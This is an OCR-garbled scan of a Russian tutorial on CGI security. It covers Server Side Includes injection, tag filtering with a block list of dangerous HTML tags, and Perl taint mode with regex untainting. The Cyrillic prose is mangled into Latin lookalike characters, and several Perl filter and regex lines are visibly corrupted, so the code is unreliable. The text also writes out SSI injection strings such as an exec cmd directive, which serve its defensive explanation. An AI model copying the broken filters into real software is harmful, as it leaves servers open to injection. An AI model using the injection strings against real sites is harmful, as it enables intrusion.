pe3yNbTaT BBIIOJTHEHUST HEKOTOPOH MPOrpaMMBbl, COJIEPKIUMOE JIpyroro ¢aiia, 3HaueHue mepeMeHHO’
OKpy>XeHus U T. A. JupektuBsl SSI UMEIOT claeAyIOMUil BUI;

<l--#xomanoa napamemp="apeymenm"-->

Hanpuwmep:

<!--#include virtual="/some.html"-->

<I--#exec cgi="/cgi-bin/some.cgi"-->

<l-exec cmd="/bin/somecommand"-->

YtoObI HEe HOMyCKAaTh K UCHOIB30BaHMI0 SSI Bcex moceTuTeneil cepBepa, MOXHOPa3peuTh SSI-aupeKTUBLI
TOJIBKO B (pailyiax Cc onpeesieHHbIM paciiupenueM (o0brano *.shtml), Torna B gaitax * . html, cozmaBaembrx
cKpumnTaMu, komaHabl SSI OyayT BOCIPUHUMATBCS Kak MPOCTOi KoMMeHTapuii. OqHaKo MOJ00HOE pelIeHHe
JTaJIeKO HE BCeTJa YCTPOUT pa3paboTumka caifTa.



Crnenyromuii criocob — rmosHast puibrparus Taros. CaMmoe MpocToe — 3aMEHUTH BCE CUMBOJIBL «<» U «C» Ha
KoJbl «&lt;» 1 «&gt;» COOTBETCTBEHHO:

$string =~ s/</&lt;/qg;

$string =~ s/>/&gt;/q;

Hpyroiif BapuaHT — yAaINUTh BCE, YTO HAXOIUTCS BHYTPH YIIIOBBIX CKOOOK:

$string =~ s/<([*>]\n)*>//g;

OHHTI) 7K€ HC BCC Web-MaCTepa JKEJIAIOT JIUIIIATh CBOUX ITIOCETUTENEN BO3MOKHOCTHU BCTaBKU KOOOB JIsd
KpacuBoro ohopMICHHS TeKkcTa. Torma mocienHee, 9To OCTaeTCs CelaTh, — GUILTPOBATH YaCTh KOJIOB,

OCTaBJIAA JINIb CaAMBIC ((6e3OHaCHLIC>). 9TO HaI/I6OHCC prI[OCMI(PIfI U MIOTCHOUAJIBHO OIIaCHBINA HYTBZ
@BADTAG = (

"applet",
"script”,
"iframe",
#u 1. 1., Bce "onacHbIe" TArH
"img"
);
foreach $t(@BADTAG)
{
$string =~ s/<$t/<none/gi;
$string =~ s/</$t/</none/gi;
}

Tako#t moaxo/ 4peBaT HEKOTOPHIME onacHocTsAMH. Harpumep, nzBecTHslit ckpunt formmail MaTTa Paiita B
nocienHee Bpems puibTpyeT SSI cnexyromum obpazom:

value =~ s/<!--(.\n)*-->//g;

DTO HECOMHEHHBIN MPOrpecc N0 CPAaBHEHUIO C MEPBBIMU BEPCUSIMU, POCTO NponyckaBmuMu SSI. OgHako
npobiema B ToM, 4To Apache, o kpaitHeld Mepe, He TpeOyeT NPUCYTCTBUS 3aKPBIBAIOLIUX CHMBOJIOB «-->)
JUTSL BBITIOJTHEHUST YKa3aHHOHU IUPEKTHBBI, IIOATOMY 3JI0YMBIIUICHHUK MOXKET IOOUTHCS CBOETO, IPOCTO
BBeas cTpoky <!--#include virtual="some.html".

Ka3zanoch Obl, MOKHO CIIPaBHUTKLCS ¢ IpoOIIeMoi, «BbIKyChiBas» <!— (value =~ s/<1--//g;), HO U B 3TOM ciy4ae
ocraetcs 00x0HOI MaHeBp: cTpoka <<!--I--#include virtual="some.html" B urore npeodpasyercs B
<l--#include virtual="some.html".

JlocTatouHo 6e30MacHON MOKHO CUNTAaTh KOHCTpYKInio While(s/<!--//g){}, xoTs 1 y Hee ecTh CBOM MUHYCHI..
IToxoskue npoOiieMbl BOSHUKAIOT Ha cepBepax, ucnoib3yomux ASP, PHP u 1. 1., npuuem OosnbmmHCTBO
cBOOOJIHO paclpoCTpaHsIeMbIX CKPHIITOB HX NPOCHO ueHopupyem. Bynbre KpaiiHe 0CTOPOKHBI, a1alI THPY I
TOTOBBIH CKPHIIT K CBOEMY CEPBEPY, €CIIH OH (CepBep) yMeET UyTh O0JIbLIe, YeM IPOCTO BO3BPALIATh
html-goxymeHThI.

Ilpunyoumenvnoe cozoanue 6ezonacuvix CGl-npunoscenuit na Perl

B nepeunciieHHBIX IpUEMax eCTh OJIMH HEIOCTATOK — OHH TPEOYIOT SBHOTO IPUMEHEHHS U ONPE/ICIIeHHON
KyJIBTYpHI IpOrpaMMupoBanus. [IporpaMmMucT HOKEH 3aCTaBIsATH ce0s mucaTh 6e30MacHbIi KO, HUKOT1a
He Oy/ly4d JI0 KOHIIa yBEPEHHBIM B OTCYTCTBHHU OIIHOOK.

Perl, 3anymieHHbI B Tak Ha3bIBAEMOM 3apaXeHHOM pexkuMe (tainted mode), MO3BONSET CHATH YaCTh 3TOTO
rHeTa. YToOBI ONMACTh B TAKOH PEXXHUM, IOCTATOYHO YKa3aTh HapaMeTp «—1».

IMoce atoro pabora Perl mpuoOpeTaeT HECKOIBKO MapaHOUIEIbHBIN XapakTep. Bee nepemMeHHbIe,
MPOUHUIIHAIN3UPOBAHHEIE 32 MpeesiaMy IPOrPaMMbl, CAUTAIOTCS 3apaYKEHHBIMU U HE MOTYT OBITh
nepegaHbl B Ka4eCcTBE apaMeTpoB MOTEHLUUAIBHO ONAacHBIM (PyHKLIMAM, TAKMM Kak system, exec, eval,
unlink, rename u 1. 1. [TonbITKa KCTIONB30BaTh UX TAKUM 00pa30M MPEPBET BHINOIHEHUE CKPUITA C
BbIJIa4ei COOTBETCTBYIOIIETO MPEyTPEKICHHMSL.

[lepemeHHBIEC, THULIMATU3UPOBAHHBIE BHE IPOTPAMMBI, — 3TO IEpEMEHHbIE, 3HAUYEHHSI KOTOPBIX MOJTYYEeHBI
13 apaMeTpOB NPOrpaMMBbl, CO CTAHAAPTHOTO BX0/a, U3 IIEPEMEHHBIX cpelbl. [Ipuuem aTa «3apasza»
pacrnpocTpaHseTcsi — TakK, €ClId HCIIOJIb30BaTh 3apaXXKCHHYIO MIEPEMEHHYIO JUIS HHUIHATU3AIH JPYTOi
HepEMEHHOH, Ta TOKE CTAaHET 3apaKCHHOU. «3apasza» ocTaeTcs, AaXKe €CIIM MBI IPOBEPHIIH IIEPEMEHHYIO Ha
OTCYTCTBHE BCEX CIICIICUMBOJIOB JINOO OUUCTHIIN €€ OT HUX.

Taxum 00pazoM, MBI yCTpaHsIeM BO3MOXKHOCTD CIIy4allHOTO MPOITycKa MOJIb30BaTeILCKOro BBOJA B ONACHYIO
¢yukuuo. Ho kak ObITh, €CJIM IMEHHO 3TO HaM U HYKHO?

EnuncTBeHHBIH ciocob «o0e33apa3nuThy NEPEMEHHYIO0 — BOCIIONB30BaTHCS PErYJSIPHBIMU BRIPRXKECHUSAMHU U
NPUMEHUTH U3BJICUCHHUE COBMAJAIOMIEH IOACTPOKH MPH MOMCKE IO MacKe. DTO HE CIUIIKOM yI00HO, 3aTO



TOpPKECTBYET MPUHLHII "BCe, UTO HE Pa3pelICHO - 3ampeieHo".. 3a0JH0 IpuoOpeTeTe OMBIT UCTIONb30BAHUS
PETYJSIPHBIX BBIPAKCHUH, YTO HaBEPHSAKA MPUTOIUTCS B OyayIIeMm.

$address =~ /(\W[WA-]*)\@([\W\-.]+)/;

$cleanaddress = $1.’@’.$2;

Bce, 9TO cONOCTaBUTCS BEIPa’KEHHIO B MEPBBIX KPYTIIBIX CKOOKax, OyZeT 3aHeceHO B mepeMeHHyto $1, Bo
BTOpBIX — B $2, 1 1. 1. Ilepemennsie $1 u $2 OynyT yxe cuuratbes 00e33apakeHHBIMH, 1 MBI MOXKEM CMEJI0
KOHCTPYHMPOBATh U3 HUX HAlll ICKOMBIH ajpec. [la, 5T mepeMeHHbIe ToKe ObLIN MOJTYyYeHBI U3
NOJIb30BATENBCKUX TAHHBIX, HO Perl cunraer, 4ro pa3 nx 3HaueHHE OBUIO MOIYYECHO U3 PETYISPHOTO
BBIP@KCHHUS, 3HAYUT, OHH MIPOIILIH HAITY IPOBEPKY M MOYKHO O HUX HE OECIIOK OUThCA.

YtoObI OBITH yBEpEHHBIMH J10 KOHIIA, MO’KHO BCTaBHTh B HAIll KOJ IPOBEPKY:

if($address =~ /(\W[\W\-.]*N\@ ([\WW\-.]+)/)

{
$cleanaddress = $1.”@’.$2;

}

else

{
#BBI1aBas coobmeHne o6 ommnbke Ha stderr
warn "Wrong address: $address";
$cleanaddress = "*';

}

Tem cambiM, TpaBna, OTCEKAIOTCS BIIOJHE 3aKOHHbIC UMEHA THIIa Mama&papa@home.org. Menee crporas
nposepka Buaa address=~/(\S+)\@ ([\W.-]+)/ mpomycTUT ¥ METaCHMBOJIbI, CBEJIS HA HET BCE HAIIIN YCHIIHUS 10
o6e33apaxBaHUIO.
Y Bac MOKET BO3HUKHYTH KellaHhe 00e33apa3uTh NePEMEHHYIO CIEAYIOMUM 00pa3oM:
$address =~ (.*);
$cleanaddress = $1;
Yo K, BOJIbHOMY — BOJIA. BbI TOIBKO UTO OTKJIIOYHMIIM BCE IIPOBEPKU U B3AJIU BCIO OTBETCTBCHHOCTH Ha
ce0s.
[Tpu MCNOIB30BAHUU 3aPAKEHHOTO PEKUMA HEOKUIAHHO MOXKET BO3HUKHYTh CUTYyanus, koraa Perl
OTKaXKeTCs 3aIllyCKaTh BHEIIHIOIO MPOrpaMMy, TTOCKOJBKY niepeMeHHast okpyxkenus PATH, ¢ moMoripio
KOTOPOH OIpeNeNsieTCsi MECTOTIOJIOKEHHE UCTIONHIEMOTO MOJIYJIs, TOKE CUUTAETCS 3apakeHHOH. UToOBI
CIPABHUTHLCS C 3TUM, JIOCTATOYHO MPOMHHUIIMATU3UPOBATE €€ BPYUHYIO OJHUM U3 CIEAYIONMX CIIOCOOOB:

1. SENV{'PATH} = "/bin:/usr/bin:/usr/local/bin’;

2. SENV{PATH} =",




